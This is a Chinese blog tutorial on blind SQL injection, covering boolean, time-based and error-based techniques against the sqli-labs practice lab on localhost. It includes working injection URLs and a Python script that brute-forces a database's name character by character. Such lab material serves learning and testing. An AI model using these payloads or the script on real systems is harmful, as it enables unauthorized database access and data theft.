SQL盲注注入——布尔型

管理员 2020-02-08 AM 113℃ 3条

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔(bool)的盲注。

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

当然如果上面的函数被禁用,也有相应的函数替换。可百度

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

当前数据库database()的长度大于10,返回true页面,否则FALSE页面

报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)

列如典型payload:

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

count(*)计数   concat()连接字符   floor()重复数据,返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误

时间型:通过页面沉睡时间判断

通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))  --+

如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒

布尔型详解:

测试页面:

get一个参数 id =1,返回TRUE页面

注入测试加单引号id=1′,返回不正确页面。

到这里初步确定单引号存在注入,TRUE页面有’you are in………..‘,FALSE页面不存在’you are in ……..‘

源代码:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1″;验证确实是由于单引号闭合导致注入漏洞。后台执行结果SELECT * FROM users WHERE id=’1’’ 原因单引号在闭合后还存在一个单引号。会引起查询报错

知道为盲注布尔型注入,利用上面的函数进行猜解

猜当前数据库第一个字符:(下面代码还需进行编码)

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法,115为false,114TRUE,数据库第一个字符ASCII为115,即s

同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1′ and ascii(substr(database(),1,1))>114# 这条语句在后台为:

SELECT * FROM users WHERE id=’1′ and ascii(substr(database(),1,1))>114#’(后面单引号被#注释掉)

后面的表,列,字段猜解在上篇有介绍查询语句

如表

http://127.0.0.1/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#

其它就不一一写了。

接下来是自己写的Python脚本,爆破数据库长度和数据库

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i
		# print(url+payload+'%23')
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)
 
		else:
			#print('false')
			print('database_length:',i)
			break
database_len()
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)
	
		
	
database_name()

表,字段,改下payload就可以跑了。

文章出处:CSDN

标签: 盲注

非特殊说明,本博所有文章均为博主原创。

评论啦~



已有 3 条评论


  1. sqli-labs通关手册 – 0verflow技术区

    […] 3.关于布尔型盲注可以看下这里 […]

    回复 2020-02-23 18:12
  2. sql-labs第八关 – 0verflow技术区

    […] 3.关于布尔型盲注可以看下这里 […]

    回复 2020-02-24 11:39
  3. sqli-labs第十五关 – 0verflow技术区

    […] 关于布尔型注入 […]

    回复 2020-02-25 11:45